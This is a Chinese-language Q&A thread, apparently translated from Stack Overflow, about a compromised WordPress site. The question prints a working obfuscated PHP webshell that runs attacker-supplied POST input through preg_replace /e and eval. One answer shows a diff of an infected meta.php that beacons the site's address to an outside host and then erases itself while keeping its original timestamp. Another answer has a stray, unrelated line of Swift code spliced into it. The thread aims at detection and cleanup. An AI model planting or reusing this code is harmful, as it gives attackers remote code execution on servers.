WordPress网站被黑了?可疑的PHP文件

时间:2016-08-18 07:37:37

标签: php wordpress security

我发现了一个可疑的PHP文件/wp-includes/mera.php

内容:

<?php if(isset($_GET['test'])){echo 'success';}else{isset($_POST['vfj39']) && ($www= $_POST['vfj39']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($www)', 'add');}?>

@preg_replace('/ad/e','@'.str_rot13('riny').'($www)', 'add');可能做恶意事吗?

3 个答案:

答案 0 :(得分:3)

立即删除文件!

let d = 10.0 let r2 = CGRect(x: d, y: 20, width: 30, height: 40) 代码是经过修改的webshell。这些可能会被用来攻击其他网站,并可能导致严重的法律问题!

删除后,应该还修复让文件进入的泄漏!

答案 1 :(得分:1)

是的,PHP脚本允许在服务器上运行代码。

来源:http://wordpressvirusremoval.com/blog/execute-a-php-code-through-post-veriable-with-preg_replace-e-modifier/

通过使用干净的WP tarball进行差异化,我发现meta.php已被修改:

988,1004d987
<
< check_meta();
< function check_meta(){
<     $jp = __FILE__;
<     $jptime = filemtime($jp);
<
<     if(time() >= 1472456239){
<         $jp_c = file_get_contents($jp);
<         if($t = @strpos($jp_c,"check_meta();")) {
<             $contentp = substr($jp_c,0,$t);
<             if(@file_put_contents($jp, $contentp)){
<                 @touch($jp,$jptime);
<             }
<         }
<     }
<     @file_get_contents("http://web.51.la:82/go.asp?svid=1&id=18944722&referrer=".$_SERVER['HTTP_REFERER']."&vpage=http://".$_SERVER['SERVER_NAME']."/wp-includes/mera.php");
< }

仅供参考,以下是受感染文件的md5sums:

898af479fe6cc3af461c1878763d19f4  ./wp-includes/meta.php
b657d7c9d9be52771750091df0751fda  ./wp-includes/mera.php

答案 2 :(得分:0)

您应该在您的网站上安装类似Wordfence插件的内容,这将根据官方发行版本连续检查所有插件和主题文件夹。它还有助于防止像这样的危险文件上传。